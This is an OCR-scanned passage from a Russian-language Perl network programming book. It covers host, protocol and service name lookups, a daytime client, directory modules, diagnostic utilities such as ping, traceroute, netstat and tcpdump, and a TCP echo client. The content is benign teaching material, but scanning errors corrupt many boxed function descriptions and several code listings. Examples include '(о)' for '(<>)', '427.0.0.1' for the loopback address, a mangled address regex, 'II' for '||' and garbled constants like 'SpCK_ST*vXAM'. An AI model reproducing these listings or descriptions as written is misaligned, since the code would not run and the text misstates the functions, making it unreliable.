точке связи. Теперь необходимо подключиться к удаленному сокету. Для этого применяется
встроенная функция connect () языка Perl, которой передается дескриптор сокета и удаленный
адрес, сформированный ранее. Если функция connect () выполняется успешно, она
возвращает истинное значение. В ином случае снова вызывается функция die с сообщением об ошибке.
98
Часть I. Основы
• Строка 12. Чтение данных из удаленного хоста и вывод их на устройство вывода. Теперь
сокет sock можно рассматривать как дескриптор файла для чтения/записи, который позволяет
либо читать данные, переданные с удаленного хоста, с помощью функции read () или
оператора о, либо отправлять данные на хост с использованием функции print (). В данном
случае применяется оператор угловых скобок (о) для чтения всех строк, переданных с
удаленного хоста, и немедленного вывода этих данных на стандартное устройство вывода.
Способы вызова функций socket () и connect () описаны более подробно в главе 4.
Сетевые имена и службы
В примере предыдущего раздела для создания сокета использовался IP-адрес
удаленного хоста в виде четырех чисел, разделенных точками, номер порта и
номер протокола. Однако обычно следует использовать символические имена
вместо чисел. Это помогает упростить не только написание программы, но и работу
с ней, поскольку позволяет конечным пользователям вводить адрес хоста в виде
wuarchive. wustl. edu, а не 128.252.120.8.
Система доменных имен (DNS — Domain Name System) — это база данных масштабов
Internet, которая обеспечивает прямое и обратное преобразование имен хостов в
числовые IP-адреса. Преобразование имен служб в числовые коды обеспечивают
различные локальные службы базы данных. В настоящем разделе описаны функции,
позволяющие выполнить прямое и обратное преобразование имен в числовые значения.
Преобразование имен хостов в IP-адреса
Прямое и обратное преобразование символических имен хостов в упакованные
IP-адреса обеспечивают функции gethostbyname () и gethostbyaddr () языка Perl.
Они представляют собой внешний интерфейс к вызовам системных библиотек с тем
же именем. В зависимости от настройки службы преобразования имен системы, при
вызове этих функций выполняется просмотр одного или нескольких статических
текстовых файлов, таких как /etc/hosts, локальных сетевых баз данных типа NIS
или системы DNS в масштабах всей сети Internet.
($name,Saliases/$type,Slen,Spacked_addr) = gethostbyname(Sname); -l
' $packed_addr ■= gethostbyname (Sname) ; |
Если имя хоста не существует, функция^е^с^Ьупагае (;} возвращает значение undef. В ином
•случае в скалярной контексте1 она возвращает IP-адрес хоста в упакованной двоичной форме, j
-а в строковом контексте—■- список с пятью элементами. _ Ц
-. ' Первый ,злемент;5$пате, представляет собой каноническое или официальное имя затребованного
i хоста: За ним следует список псевдонимов имени хоста, тип адреса и его длина, обычно ftp inet и 4,I
| а также сам адрес в упакованной форме. Поле псевдонимов представляет собой список
альтернативных имен хоста, разделенный пробелами- Если хост не имеет альтернативных имен, список пуст. . щ
г . Упакованный адрес, возвращенный функцией gethostbyname (), может быть передан непо-.
средствённо функциям модуля socket или снова представлен в виде четырёх чисел, разделенными
точками, с, помощью ф>ункции1 tee^ntoa^viEfc^'MWH^M'rgytho^tbyjnaineiCH- будет передан 1
IP-адрес в виде четырех чисел, разделённых точками, она обнаружит это и возвратит упакованную 1
версию адреса.также, как» функция inet_aton£). щ
j 5. $паше = gethostbyaddr($packed_addr,$family); Щ
Ц-^' ($name,$aliases,$type,$len,$packed_addr) m I
j , ,v -*> gethostbyaddr($packed_addr,$family)_;
Глава З. Основные сведения о сокепгах Berkeley
99
"" При вызове функции ggthostbyaadrfl выполняется обратный поиск, при котором берется упа- [
^вайный;:1Р^рёсивозвр^йшется соответствующее ему имя хоста: |
Функция gethcstbyaddr {) принимает два параметра*-упакованный адрес и обозначение се-1
"мейства адресов (обычно af_inet). В скалярном контексте она возвращает имя хоста, соответст- ;
вующее указанному адресу: В контексте списка функция возвращает список с пятью элементами,
состоящий из канонического имени хоста, списка псевдонимов, типа адреса; длины адреса и упако-1
ванного адреса. Этотсписрк аналогичен списку, возвращаемому функцией gethostbyname (\. j
-'Если вызов этой функции не приводит к успешному поиску адреса, она возвращает значение !
undef или пустой список, ,л .. ;- j
Функция inet_aton () также позволяет преобразовать имена хостов в
упакованные IP-адреса. Как правило, вместо вызова функции gethostbyname () в скалярном
контексте может применяться вызов функции inet_aton ().
$packed_address = inet_aton($host);
$packed_address = gethostbyname($host);
Применение одной из этих двух функций — это дело вкуса, но следует учитывать,
что функция gethostbyname () встроена в интерпретатор Perl, а функция
inet_aton() доступна только после загрузки модуля Socket. Автор предпочитает
функцию inet_aton (), поскольку, в отличие от функции gethostbyname (), она не
чувствительна к контексту списка.
Листинг 3.2. Преобразование имен хостов в IP-адреса
0: #!/usr/local/bin/perl
1: # Файл: ip_trans.pl
2: use Socket;
3: while (о) (
4: chomp;
5: my $packed_address = gethostbyname($_);
6: unless ($packed_address) (
7: print "$_ => ?\n";
8: next;
9: }
10: my $dotted_quad = inet_ntoa($packed_address);
11: print "$_ => $dotted_quad\n";
12: }
Примеры преобразования имен хостов
С помощью этих функций можно написать простую программу преобразования
имен хостов в IP-адреса в виде четырех чисел, разделенных точками (листинг 3.2).
При условии, что список имен хостов хранится в файле hostnames. txt, результаты
выполнения сценария могут выглядеть следующим образом.
% ip_-trans.pl < hostnames.txt
presto.cshl.org => 143.48.7.220
w3.org => 18.23.0.20
foo.bar.com => ?
ntp.css.gov => 140.162.8.3
В листинге 3.3 приведена небольшая программа для выполнения обратной операции—
преобразования списка IP-адресов, представленного в виде четырех чисел, разделенных
точками, в имена хостов. При получении каждой строки ввода программа проверяет.
100
Часть!. Основы
можно ли считать этот IP-адрес действительным (строка 6), и, если да, упаковывает адрес
с использованием функции inet_aton (). Упакованный адрес затем передается функции
gethostbyaddr () с указанием AF_INET в качестве значения семейства адресов (строка
7). В случае успешного преобразования на устройство вывода направляется имя хоста.
Листинг 3.3. Преобразование IP-адресов в имена хостов
О: # ! /usr/bin/perl
1: # Файл: name_trans.pl
2: use Socket;
3: my $ADDR_PAT = "Ad+\-\d+\.\d+\.\d+$";
4: while (<>) {
5: chomp;
6: die "$_: Not a valid address" unless /$ADDR_PAT/o;
7: my $name = gethostbyaddr(inet_aton($_),AF_INET);
8: $name I I= ■?• ;
9: print "$_ => $name\n";
10: }
Получение информации о протоколах и службах
По аналогии с тем, как функции gethostbyname () и gethostbyaddr ()
применяются для прямого и обратного преобразования имен хостов в IP-адреса, в языке
Perl предусмотрены функции для преобразования символических имен протоколов
и служб в номера протоколов и портов.
f Snumber = getprotobyname($protocol) ~" у
» ($name,$aliases,$number) = getprotobyname ($pr о tocol) JS
[З Функция getprotobyname () принимает символическое имя протокола, такое как "udp", и преоб-1
разоеывает его в соответствующее числовое эначёниеЛЗ скалярном контексте возвращается только,!
) номер протокола. В контексте списка функция возвращает имя протокола, список псевдонимов'И но- ■
1 мер. Если имеется несколько псевдонимов, они разделяются пробелами. Если заданный прстскол i
| не известен, функция возвращает значение undef или пустой список. ; |
„.. $name «* getprotobynumber($protocol_number) |
($name,$aliasesj$number) — getprotobyname($protocol_number) ,,
Редко применяемая ф^н1сция getprotobynuniber (^выполняет операцию, обратную описанной
выше, — преобразовывает номер протокола в имя протокола. В скалярном контексте она
возвращает имя протоколв, соответствующее номеру, в виде строки. В контексте списка она возвращает
такой же список, как и функция getprotobyname (). :Прй лолучении недействительного номера
протокола, эта функция возвраЩает;эйачёниеШае£ или пустой список..
^ $port = getservbyname($ service ^protocol)
<$name,$aliases,$port,$protocol} = getservbyname($ service, Sprotodoi)'
I ' Функция .getservtoynaroet};;Tipep6pa3pBbiBaeT символическое имя службы, такое жкак "echo";
в номер порта, который может быть передан функции sockaddr_in (). Функция принимает два
параметра, соответствующие имени службы и требуемому протоколу. Необходимость указания в каче-
1 стве дополнительного, параметра имени протокола связана с тем, что некоторые службы, включая
echo, реализованы и в версии 1ЮР,ли в версий TCP, и нет никакой гарантии, что 05б эти версии
• службы" используют Один и тот же «омерпорта 'хотайочти есегдэ так оно и проиересдит. I
i Й Вскалярном контексте фуни1ия gfctsfcrybyii*nie.{), возвращает номерепорта службы или1 значение
undef, если номер порта не известен. В контексте списка функция возвращает четырехэлементный
список, состоящий из канонического имени службы, разделенного пробелами списка псевдонимов, если они.
имеются, номера порта и номера протокола. Если служба не известна функция возвращает пустой список
Глава 3. Основные сведения о сонетах Berkeley
101
Snama « ^otaervbyport(Sport,$protoo~l)
(Si}toe,Salia-eQ,$Fort,Jprotocol) • T^teervi-yport (Sport, Sprotocol)
Функция gttsexvbypor±Л выполняет обратную операцию, преобразовывая номер порта п со-
ответствухдцее имя службы Ее пгпеденис в скалярном контексте и контексте списка полностью
аналггично'функции>де'1зегЛупатеЧ). ___
Еще одна версия клиента службы времени
Теперь мы располагаем инструментальными средствами, позволяющими обойтись
без жестко закодированных номеров порта и протокола в программе клиента службы
времени, которая была разработана ранее. Кроме того, эту программу можно сделать
более удобной в работе, разрешив указывать в качестве имени хоста службы времени
не только IP-адрес в виде четырех чисел, разделенных точками, но и доменное имя.
В листинге 3.4 приведен код пересмотренной клиентской программы. По сравнению
с предыдущей версией, в нее внесены соответствующие изменения.
Листинг 3.4. Клиент службы времени, в котором применяются символические
имена хостов и имена служб
О: #!/usr/bin/perl
1: # Файл: daytime_cli2.pl
2: use strict;
3: use Socket;
4: use constant DEFAULT_ADDR => 427.0.0.1';
5: my $packed_addr = gethostbyname(shift || DEFAULT_ADDR) or
die "Can't look up host: $!";
6: my $protocol «« getprotobyname('tcp');
7: my $port = getservbyname('daytime','tcp') or
die "Can't look up port: $!";
8: my $destination = sockaddr_in($port,$packed_addr);
9: socket(SOCK, PF_INET,SOCK_STREAM,$protocol) or
die "Can't make socket: $!";
10: connect(SOCK,$destination) or
die "Can't connect: $!";
11: print <S0CK>;
Проведем анализ программы.
• Строка 5. Поиск IP-адреса хоста службы времени. Для преобразования имени хоста,
заданного а командной строке, в упакоаанный IP-адрес применяется функция gethostbyname ().
Если параметр командной строки не задан, по умолчанию используется адрес петли обратной
связи. Если пользователь вместо имени хоста указал IP-адрес в виде чисел, разделенных
точками, функция gethostbyname () упаковывает его по твкому же принципу, как функция
inet_aton (). Если вызов функции gethostbyname () завершается неудачей в связи с тем,
что заданное имя хоста является недействительным, этв функция возвращает значение
undef и выполняется выход из программы с сообщением об ошибке.
• Строка Б. Поиск номера протокола TCP. Для указания этого номера не применяется жесткое
кодирование, как в предыдущей версии, а вызывается функция getprotobyname () для
получения значения номера протокола TCP.
• Строка 7. Поиск номера порта службы времени. Вместо жесткого кодирования номера
порта службы времени, вызывается функция getservbyname () для поиска этого номера в бвзе
102
Часть!. Основы
данных служб системы. Если по какой-то причине не удается выполнить поиск, происходит
выход из программы с сообщением об ошибке.
• Строки 8-11. Подключение и чтение данных. Остальная часть программы остается
неизменной, за исключением того, что при вызове функции socket () применяется номер
протокола TCP, полученный от функции getprotobyname ().
Другие источники сетевой информации
Кроме функции gethostbyname () и аналогичных функций, для
непосредственного доступа ко многим общедоступным базам данных сетевой информации могут
применяться специализированные дополнительные модули. В этой книге они
подробно не рассматриваются, но нужно знать о их существовании на тот случай, если
они потребуются. Все эти модули могут быть получены из архива СРАМ.
Модуль Net::DNS
Этот модуль предоставляет гораздо больший контроль над тем, как происходит
преобразование имен хостов с использованием системы доменных имен. Кроме
функциональных средств, предоставляемых функциями gethostbyname ()
и gethostbyaddr (), модуль Net: :DNS позволяет выполнить выборку и
последовательно перебрать все хосты в домене, получить адрес электронной почты сетевого
администратора, ответственного за домен, и провести поиск компьютера,
ответственного за получение электронной почты для домена (так называемый
"промежуточный сервер электронной почты" или MX— mail exchanger).
Модуль Net::NIS
Во многих традиционных сетях UNIX для распределения такой информации, как
имена хостов, IP-адреса, имена пользователей, пароли, таблицы автомонтирования и
криптографические ключи, применяется сетевая информационная система (NIS —
Network Information System) компании Sun. Это позволяет пользователю иметь одно и
то же регистрационное имя, пароль и рабочие каталоги на всех компьютерах в сети.
Встроенные функции доступа к сетевой информации языка Perl, такие как
gethostbyname () и getpwnam(), предоставляют прозрачный доступ ко многим, но
не всем функциональным средствам NIS. Модуль Net: :NIS позволяет обращаться к
более глубоко скрытой информации, такой как таблицы автомонтирования.
Модуль Net::LDAP
Служба NIS постепенно замещается упрощенным протоколом доступа к каталогам
(LDAP— Lightweight Directory Access Protocol), который обеспечивает большую
гибкость и масштабируемость. Кроме той информации, которая может храниться в базах
данных NIS, протокол LDAP часто применяется для хранения адресов электронной
почты, телефонных номеров пользователей и другой деловой информации. Модуль
Net: : LDAP предоставляет доступ к этим базам данных.
Модуль Win32::NetResource
В сетях Windows контроллер домена NT предоставляет информацию каталогов
о хостах, принтерах, разделяемых файловых системах, а также другую сетевую
информацию. Модуль Win32: :NetResource содержит функции, которые
обеспечивают чтение и запись этой информации.
Глава 3. Основные сведения о сонетах Berkeley
103
Инструментальные средства
анализа сети
В настоящем разделе перечислены некоторые основные инструментальные
средства анализа сетей и диагностики проблем, связанных с сетями. Одни из них входят
в состав многих операционных систем, а другие должны быть загружены
и установлены отдельно. Дополнительная информация об использовании этих
инструментальных средств приведена в литературе, содержащей полное описание их
настройки и поиска неисправностей в сети [12].
Утилита ping
Утилита ping, которая входит в состав всех версий операционных систем UNIX
и Windows, является одной из наиболее полезных сетевых утилит. Она посылает ряд
сообщений "эхо-тестирования" протокола ICMP по любому удаленному IP-адресу
и сообщает, какое число ответов было получено от удаленного компьютера.
Утилита ping может применяться для проверки того, находится ли удаленный
компьютер в работоспособном состоянии и доступен ли он по сети. Она может также
использоваться для проверки состояния сети путем определения продолжительности
времени между отправкой исходящего пакета эхо-тестирования и получением ответа
и числа пакетов эхо-тестирования, на которые не было ответа (из-за потери либо
исходящего сообщения, либо входящего ответа).
Например, ниже показано, как выполнить эхо-тестирование для проверки
возможности связаться с компьютером, который имеет IP-адрес 216.32.74.55 (это адрес
сервера www. yahoo. com).
% ping 216.32.74.55
PING 216.32.74.55: 56 data bytes
64 bytes from 216.32.74.55: icmp_seq=0 ttl=245 time=41.1 ms
64 bytes from 216.32.74.55: icmp_seq=l ttl=245 time=16.4 ms
64 bytes from 216.32.74.55: icmp_seq=2 ttl=245 time=16.3 ms
ЛС
■ 216.32.74.55 ping statistics
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 16.3/24.6/41.1 ms
Этот сеанс показывает хорошие возможности доступа. Среднее время ответа
составляет микроскопический промежуток времени в 24 мс, и не был потерян ни один
пакет. Можно также выполнить эхо-тестирование доменного имени, и в этом случае
утилита ping предпримет попытку преобразовать это имя в IP-адрес перед эхо-
тестированием хоста.
Следует учитывать, что некоторые системы брандмауэров настроены на
блокирование эхо-тестирования. В этом случае компьютер назначения может не позволить
выполнить эхо-тестирование, хотя к нему можно обратиться через службу Telnet или
с помощью других средств.
Разработано много версий утилиты ping, имеющих как общие, так и разные
наборы средств.
104
Часть!. Основы
Утилита nslookup
Утилита nslookup, которая имеется в большинстве систем UNIX, может
применяться для проверки и испытания службы DNS. Она может использоваться либо
интерактивно, либо в виде инструментального средства с интерфейсом командной
строки, предназначенным для выполнения одноразовых команд. Чтобы использовать
эту утилиту с интерфейсом командной строки, ее нужно вызвать с указанием
доменного имени искомого хоста или домена. Она выполнит поиск в DNS и возвратит
IP-адрес и другую информацию DNS, соответствующую этому имени.
% nslookup www.yahoo.com
Server: presto.lsjs.org
Address: 64.7.3.44
Non-authoritative answer:
Name: www.yahoo.akadns.net
Addresses: 204.71.200.67, 204.71.200.68, 204.71.202.160,
204.71.200.74
204.71.200.75 Aliases: www.yahoo.com
Эта информация говорит о том, что хост www. yahoo. com имеет каноническое
имя www.yahoo.akadns.net и ему назначено пять IP-адресов. Это— типичная
конфигурация Web-сервера с высокой нагрузкой, на котором входящие запросы
распределяются по нескольким физическим компьютерам, обслуживающим их по алгоритму
кругового обслуживания.
Утилита traceroute
Утилита ping сообщает только о том, может ли пакет перейти из пункта А в пункт
В, а программа traceroute отображает весь путь, пройденный сетевым пакетом
к месту назначения. Данная программа должна быть вызвана с IP-адресом места
назначения. Каждая строка ответа содержит адрес одного из маршрутизаторов,
который встретился по пути.
% traceroute www.yahoo.com
traceroute to www.yahoo.akadns.net (216.32.74.52), 30 hops max,
40 byte packets
1 gw.lsjs.org (192.168.3.1) 2.52 ms 8.78 ms 4.85 ms
2 64.7.3.46 (64.7.3.46) 9.7 ms 9.656 ms 3.415 ms
3 mgp-gw.nyc.megapath.net (64.7.2.1) 19.118ms 23.619ms
16.601 ms
4 216.35.48.242 (216.35.48.242) 10.532 ma 10.515 ms
11.368 ms
5 dcr03-g2-0.jrcy01.exodus.net (216.32.222.121) 9.068 ms
9.369 ms 9.08 ms
6 bbr02-g4-0.jrcy01.exodus.net (209.67.45.126) 9.522 ms
11.091 ms 10.212 ms
7 bbr01-p5-0.stng01.exodus.net (209.185.9.98) 15.516 ms
15.118 ms 15.227 ms
8 dcr03-g9-0.stng01.exodus.net (216.33.96.145) 15.497 ms
15.448 ms 15.462 ms
9 csr22-ve242.stng01.exodus.net (216.33.98.19) 16.044 ms
15.724 ms 16.454 ms
10 216.35.210.126 (216.35.210.126) 15.954 ms 15.537 ms
15.644 ms
11 www3.dcx.yahoo.com (216.32.74.52) 15.644 ms 15.582 ms
15.577 ms
Глава 3. Основные сведенья о сокетах Berkeley
105
Программа traceroute может оказаться бесценным инструментом для
определения места разрыва сети, по достижении которого больше не удается выполнить эхо-
тестирование хоста. Программа прекращает выводить информацию до того, как
будет достигнуто желаемое место назначения, и последний элемент в списке указывает
ту точку, за которой возникает разрыв.
Некоторые брандмауэры могут блокировать работу программы traceroute, так же
как иутилиты ping. Программа traceroute входит в состав большинства систем UNIX.
Утилита netstat
Утилита netstat, которая входит в состав систем UNIX и Windows NT/2000,
позволяет получить информацию о текущем состоянии всех активных сетевых служб
и соединений. Например, при выполнении утилиты netstat на компьютере с
активно работающим Web- и FTP-сервером может быть получен следующий результат (этот
листинг сокращен ради экономии места).
% netstat -t
Active Internet connections (w/o servers)
Proto Send-Q Foreign Address
Recv-Q Local Address State
tcp 0 0 brie.cshl.org:www writer.loci.wise.e:1402 ESTABLISHED
tcp 0 0 brie.cshl.org:www 157-238-71-168.il.:1215 FIN_WAIT2
tcp 0 0 brie.cshl.org:www 157-238-71-168.il.:1214 FIN_WAIT2
tcp 0 0 brie.cshl.org:www 157-238-71-168.il.:1213 TIME WAIT
tcp 0 0 brie.cshl.org:6010 brie.cshl.org:2225 ESTABLISHED
tcp 0 0 brie.cshl.org:2225 brie.cshl.org:6010 ESTABLISHED
tcp 0 2660 brie.cshl.org:ssh presto.Isjs.org:64080 ESTABLISHED
tcp 0 0 brie.cshl.org:www 206.169.243.7:1724 TIME_WAIT
tcp 0 20 brie.cshl.org:ftp usr25-wok.cableine:2173 ESTABLISHED
tcp 0 891 brie.cshl.org:www usr25 wok.cableine:2117 FIN_WAIT1
tcp 0 80 brie.cshl.org:ftp soa.Sanger.ac.uk:49596 CLOSE
Опция -t указывает, что должны быть показаны только соединения TCP. Столбцы
Recv-Q и Send-Q отображают число байтов, соответственно, в буферах чтения и
записи сокетов. Столбцы Local Address и Foreign Address содержат,
соответственно, имена и номера портов локального и удаленного участников соединения,
а столбец State — информацию о текущем состоянии соединения.
Утилита netstat может также применяться для отображения служб, которые
ожидают входящие соединения, таких как сокеты домена UDP и UNIX. Для вызова
утилиты netstat в системах Windows используется немного иной синтаксис. Для
получения списка соединений TCP, аналогичного приведенному выше, в этих системах
применяется команда netstat -p tcp.
Утилита tcpdump
Утилита tcpdump входит в состав многих версий UNIX. Она представляет собой
программу перехвата сетевых пакетов. Данная утилита может применяться для
просмотра содержимого каждого пакета, проходящего через сетевую плату, включая те,
которые не предназначены для данного компьютера. Она позволяет воспользоваться
мощным языком фильтрации, который может применяться для обнаружения и ото-
106
Часть!. Основы
бражения именно тех пакетов, в которых вы заинтересованы, например тех, в которых
используется конкретный протокол или которые направлены в конкретный порт.
Утилита МасТСР Watcher
Утилита МасТСР Watcher для системы Macintosh объединяет функциональные
средства утилит ping, dnslookup и netstat в одном дружественном приложении.
Эту утилиту можно найти, выполнив поиск в большой коллекции условно-бесплатного
программного обеспечения, находящейся по адресу: http: / /www. shareware. com.
Утилита scanner.exe
Небольшая утилита scanner.exe, предназначенная для разработчиков Windows
98/NT/2000, которую также можно найти по адресу: http: //www.shareware.com.
Она объединяет в себе функциональные средства утилит ping и dnslookup со
способностью выполнять поиск открытых портов на удаленном хосте. Эта утилита
может применяться для определения служб, предоставляемых удаленным хостом.
Набор утилит net-toolbox.exe
Это — полный набор сетевых утилит Windows, который включает функциональные
средства утилит ping, dnslookup, tcpdump и netstat. Его можно найти на
анонимном FTP-сервере gatekeeper.dec.com в каталоге /pub/micro/pc/winsite/
win95/netutil/.
Резюме
Сокет— оконечная точка соединения. В языке Perl сокет выглядит и действует во
многом аналогично дескриптору файла. При его создании должны быть заданы такие
параметры, как семейство адресов, тип и протокол связи. Наиболее часто применяемые
сокеты принадлежат к семейству адресов AF_I.NET (сокращение от Internet), и в них
используется либо потоковый протокол TCP, либо дейтаграммный протокол UDP.
В сокетах домена UNIX применяются адреса, основанные на локальных именах
файлов, а в сокетах домена Internet используется сочетание IP-адреса и номера порта.
Перед передачей любой встроенной сетевой функции Perl адрес должен быть
преобразован в двоичную форму.
В языке Perl предусмотрен полный набор функций для прямого и обратного
преобразования адресов хоста, номеров протоколов и служб из числовой формы
в символическую. При использовании символических имен программы становятся
более удобными для использования и сопровождения; это также способствует
лучшей переносимости.
В конце данной главы приведен краткий список утилит, которые обычно
применяются для выявления и анализа проблем настройки сети.
Глава 3. Основные сведения о сокетах Berkeley
107
Глава
Протокол TCP
В настоящей главе рассматривается TCP — надежный протокол потоковой
передачи байтов с установлением логического соединения. Такие особенности протокола
обеспечивают применение сокетов TCP наравне с обычными дескрипторами файлов
и каналами. После открытия сокета TCP в него можно отправлять данные с помощью
функций print () или syswrite () и получать из него данные с использованием
оператора о, функции read () или sysread ().
Клиент эхо-сервера TCP
Начнем с разработки небольшой клиентской программы TCP, более сложной по
сравнению с примерами, рассмотренными в предыдущей главе. Вообще говоря, в
задачу клиентской программы входит инициализация соединения с удаленной службой.
Краткое описание этого процесса уже было приведено в главе 3. Напомним, что
клиент TCP выполняет, в основном, следующие действия.
1. Вызов функции socket () для создания сокета. С помощью функции
socket () клиент создает потоковый сокет в домене INET (сокращение от
Internet) по протоколу TCP.
2. Вызов функции connect () для подключения к другому участнику
соединения. С помощью функции connect () клиент формирует требуемый адрес
назначения и подключает к нему сокет.
3. Выполнение ввода-вывода по сокету. Клиент вызывает различные операции
ввода и вывода Perl для обмена информацией по сокету.
4. Закрытие сокета. После завершения ввода-вывода клиентская программа
может закрыть сокет с помощью функции close ().
В этом примере приложения показан простой клиент для службы "echo" TCP. Эта
служба применяется по умолчанию на многих хостах UNIX. Она ожидает входящий
запрос на соединение, принимает его, а затем возвращает назад каждый полученный
байт, повторяя его, как шаловливый ребенок. Это продолжается до тех пор, пока
клиент не закроет соединение.
Если вы захотите проверить этот пример сценария и не будете иметь в своем
распоряжении эхо-сервера, то можете воспользоваться эхо-сервером, работающим на
большом общедоступном FTP-узле wuarchive. wustl. edu.
а
108
Часть!. Основы
Программа tcp_echo_clil. pi приведена в листинге 4.1. Вначале рассмотрим все
строки этого кода, а затем опишем, что и почему здесь было сделано.
Листинг 4.1. Клиент эхо-сервера TCP
0: #!/usr/local/bin/perl
1: # Файл: tcp_echo_clil.pl
2: # Применение: tcp_echo_clil.pl [хост] [порт]
3: # Эхо-клиент, версия для TCP
4: use strict;
5: use Socket;
6: use 10::Handle;
7: my ($bytes_out,$bytes_in) = (0,0);
8: my $host = shift II 'localhost';
9: my $port = shift II getservbyname('echo',*tcp');
10: my $protocol = getprotobyname('tcp');
11: $host = inet_aton($host) or die "$host: unknown host";
12: socket(SOCK, AF_INET, S0CK_STREAM, $protocol) or
die "socket 0 failed: $!";
13: my $dest_addr = sockaddr_in($port,$host) ;
14: connect (SOCK, $dest_addr) or die "connect() failed: $!";
15: S0CK->autoflush(l);
16: while (my $msg_out = <>) {
17: print SOCK $msg_out;
18: my $msg_in = <S0CK>;
19: print $msg_in;
20: $bytes_out += length($msg_out);
21: $bytes_in += length($msg_in);
22: }
23: close SOCK;
24: print STDERR "bytes_sent = $bytes_out, bytes_received =
$bytes_in\n";
Проведем анализ программы.
• Строки 1-6. Загрузка модулей. Включена строгая проверка синтаксиса и выполнена загрузка
модулей socket и Ю:: Handle. Модуль socket необходим для доступа к константам,
применяемым при работе с сокетами, а модуль io:: Handle нужен, поскольку он содержит метод
autoflush().
• Строка 7. Объявление глобальных переменных. Создаются две глобальные переменные
для слежения за тем, какое число байтов было отправлено и принято.
• Строки 8,9. Обработка параметров командной строки. Из командной строки считывается
информация о хосте назначения и номере порта. Если хост не указан, принимается значение
"localhost", предусмотренное по умолчанию. Если не указан номер порта, используется
функция getservbyname () для поиска номера порта службы echo.
• Строки 10,11. Поиск протокола и создание упакованного IP-адреса. Для поиска номера
протокола, предназначенного для использования в функции socket (), применяется функция
getprotobyname о. После этого вызывается функция inet_aton() для преобразования
имени хоста в упакованный IP-адрес, предназначенный для использования а функции
sockaddr_in().
• Строка 12. Создание сокета. Для создания дескриптора файла сокета sock аызыаается
функция socket о во многом аналогично тому, как было сделано в листинге 3.1 (в главе 3).
Передаются параметры с указанием семейстаа адресов Internet af_t.net, потокового типа
сокета sockstream и номера протокола TCP, найденного ранее.
Глава 4. Протокол TCP
109
• Строки 13,14. Формирование адреса назначения и подключение к нему сокета. Для
создания упакованного адреса, содержащего IP-адрес и номер порта назначения, применяется
функция sockaddr_in (). Теперь этот адрес используется в качестве адреса назначения
в вызове функции connect (). В случае успешного выполнения функция connect ()
возвращает истинное значение. В ином случае вызывается функция die с сообщением об ошибке.
• Строка 15. Включение режима автоматического сброса для сокета. Данные, записанные
в сокет, должны немедленно сбрасываться из локального буфера, а не накапливаться в нем.
Для включения режима автоматического сброса вызывается метод autcf lush () сокета. Этот
метод становится доступным в результате загрузки модуля Ю:: Handle.
• Строки 16-22. Вход в главный цикл. Теперь программа входит в главный цикл. При каждом
проходе по этому циклу выполняется чтение строки текста из стандартного устройства ввода
и вывод ее в неизменном виде в сокет sock, т.е. отпраака на удаленный хост. Затем
осуществляется чтение строки ответа сервера с помощью оператора о и выаод ее на стандартное
устройство вывода.
При каждом проходе по циклу подсчитывается число отправленных и полученных байтов. Это
продолжается до тех пор, пока не будет достигнут конец файла eof на стандартном устройстве ввода.
• Строки 23,24. Закрытие сокета и вывод статистической информации. После завершения
цикла сокет закрывается и на стандартное устройство вывода сообщений об ошибках
выводятся итоговые статистические данные о числе отправленных и полученных байтов.
Сеанс работы с программой tcp_echo_clil. pi выглядит примерно так:
% tcp_echo_clil.pi
How now brown cow?
How now brown cow?
There' s an echo In here.
There's an echo in here.
Yo-de-lay-ee-oo!
Yo-de-lay-ee-oo!
*D
bytes_sent = 61, bytes_received = 61
Сочетание символов <Ctrl+D> в предпоследней строке распечатки сеанса
показывает, где автору надоела эта игра и он нажал комбинацию клавиш конца ввода. (В
системе Windows это была бы комбинация клавиш <Ctrl+Z>.)
Функции сокета, относящиеся
к исходящим соединениям
Теперь рассмотрим более подробно функции, связанные с созданием сокетов и
установлением исходящих соединений TCP.
j: $boolean = socket(SOCKET,$domain,Stype/Sprotocol)
| -;v. Функция socket () принимаете качестве параметров имя дескриптора файла, домен, тип и про-.
| токол, создает новый сокет и связывает его с указанным дескриптором файла. При успешном вы- '
полнении эта функция возвращает истинное значение. В случае ошибки она возвращает значение
I undefc и оставляет сообщение об ошибке в переменной $! J Параметр с обозначением домина, тит
| па и протокола представляют собой небольшие, целые числа- Для первых двух параметров значе-
1 ииями могут быть ijHcraHTbj, кгторыеопределены в модуле Socket, нечисловое значение прртоко-
ла необходимо определить во время вьпглнения. вызвав функцию getprotobymme (). Для
создания сенатов TCP обычне применяется следующий фэрмзт.
socket (SOCK, AT_INET, SpCK_ST*vXAM, e£alar getpr.. t;obynaino ( * tcr') )
110
Часть!. Основы
I Здесь функция getprotobyname () принудительно была переведена в скалярный контекст для
г возврата единственного результата, содержащего номер протокола. '
Z, $ boolean = connect < SOCK, $dest_addr) <|
Y Функция connect t;); предпринимает попьгщу открыть сокет и установить логическое соединение*'
!■ с указанным адресом назначения. Сокет уже должен быть создан с помощью функции socket (), *
} а упакованный адрес назначения — сформирован функцией sockaddknin () или равнозначной ей
{ функцией. Система автоматически выберет временный порт для использования в качестве
локального адреса сокета. • 1
'i I
I При успешном выполнении функция connect^) возвращает истинное значение. В ином случае
| она возвращает ложное значение и устанавливает переменную $!, .равную коду системной ошибки
, с описанием проблемы. Для. сокета с установлением логического соединения нельзя вызыввть
I функцию eonneeti) более одного раза; если будет-предпринята ещё одна попытка вызова, возник-
' нет ошибка. eisComn {*Tf ansport endpoint xs'already: connected*.!-^ Оконечная точка транс-_
портного протокола уже подключена). "' :; |
$boolean = close(SOCK)
-Вызов функциидаХозеС') применительно ксокетам выполняется точно так же, как и для обычных
дескрипторов файлов, СокетПрекращает своюработу. После закрытия сокета с его помощью боль- ^
, ще нельзя выполнять чтение или запись. При успешном выполнении функция close О возвращает j
f истинное значение. В Ином случае онв возвращает значение undef и оставляет сообщение об
ошибке в переменной $X 4 * ._. 1
I \ ■ ■■ * *"- j
[ Последствия вызова функции close () для другого конца соединения аналогичны последствиям, j
возникающим в результате закрытия канала. После закрытия сокета любые последующие попытки чте-1
ния из сокета на другом конце соединения приводят к получению сообщения о возникновении условия '
конца файла (EOF). Любые дальнейшие попытки записи приводят к возникновению исключения Pi ре.
|Ш1 $boolean = shutdown(SOCK,$how) * <
г * ■■■>•
\ Функция shutdown!)»-—это более тонкая, версия closeo, которая позволяет управлять тем, |
какая часть двунаправленного соединения должна быть закрыта. Первым параметром является под- ]
1 ключенный сокет. Второй параметр, Show, — это'небольшое целое число, которое указывает, какое,:?
нвправление должно; быть закрыто. Как показано в табл. 4.1, при значении Show, равном 0, сскет за--]
I крывается для дальнейшего чтения', при значении 1 он закрывается для записи, а при значении 2 —Л
